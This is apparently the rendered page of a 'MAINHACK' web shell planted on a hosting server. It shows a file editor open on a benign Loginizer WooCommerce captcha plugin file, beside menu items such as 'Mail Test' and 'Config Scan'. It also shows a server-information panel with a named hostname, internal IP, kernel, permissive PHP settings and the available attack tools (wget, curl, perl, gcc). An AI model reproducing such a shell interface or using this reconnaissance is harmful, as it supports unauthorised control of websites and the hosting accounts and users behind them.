[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: woocommerce.php
File is not writable. Editing disabled.
<?php if(!defined('ABSPATH')){ die('HACKING ATTEMPT!'); } function loginizer_cap_register_block(){ // Check if the function exists if(!function_exists('woocommerce_store_api_register_endpoint_data')){ return; } woocommerce_store_api_register_endpoint_data( [ 'endpoint' => 'checkout', 'namespace' => 'loginizer-security-captcha', 'data_callback' => function() { // Return empty array for GET requests return []; }, 'schema_callback' => function() { return [ 'token' => [ 'description' => __('Captcha security token', 'loginizer'), 'type' => 'string', 'readonly' => false, ], ]; }, ] ); } add_action('woocommerce_init', 'loginizer_cap_register_block'); // Verify captcha for block based checkout function loginizer_pro_cap_woo_checkout_verify($order, $request){ // We won't process any other kind of request if($request->get_method() !== 'POST'){ return; } // Extract extension data $extensions = $request->get_param('extensions'); if(empty($extensions['loginizer-security-captcha']['token'])){ throw new \WC_REST_Exception('captcha_missing', __('Captcha verification failed. Please refresh the page and try again.', 'loginizer'), 400); } $token = sanitize_text_field(wp_unslash($extensions['loginizer-security-captcha']['token'])); // Verify Captcha, $token is used just for this case if(!loginizer_cap_verify($token)){ throw new \WC_REST_Exception('captcha_failed', __('Captcha verification failed.', 'loginizer'), 400); } return $order; } add_action('woocommerce_store_api_checkout_update_order_from_request', 'loginizer_pro_cap_woo_checkout_verify', 10, 2); // For block based woocommerce checkout to render before pay button. function loginizer_pro_cap_woo_block_render($block_content){ $captcha = loginizer_cap_form(true, '', 'woo_block'); return $captcha.$block_content; } // For block based woocommerce checkout to render before payment block function loginizer_pro_cap_woo_block_render_before_payment($block_content){ $captcha = loginizer_cap_form(true, '', 'woo_block'); return $captcha.$block_content; }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 690.99 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A